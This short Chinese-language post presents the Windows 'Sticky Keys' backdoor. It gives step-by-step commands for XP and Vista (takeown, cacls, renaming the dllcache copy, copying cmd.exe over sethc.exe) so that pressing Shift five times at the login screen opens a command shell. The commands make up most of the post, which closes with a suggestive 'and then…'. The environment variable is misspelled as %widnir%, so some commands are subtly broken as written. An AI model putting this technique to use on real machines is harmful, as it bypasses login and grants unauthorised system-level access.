WINDOWS漏洞：粘置鍵

在windows 2000/xp/vista下，按shift鍵5次，可以開啟粘置，會運行sethc.exe，而且，在登入介面裡也可以開啟。這就讓人聯想到WINDOWS的屏保，將程式替換成cmd.exe後，就可以開啟shell了。

參考McafeeAvertLabs：
http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/

XP：
將安裝源光碟片彈出（或將硬碟上的安裝目錄改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe

VISTA：
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然後按XP方法替換檔案

在登入介面按5此SHIFT，出來cmd shell，然後……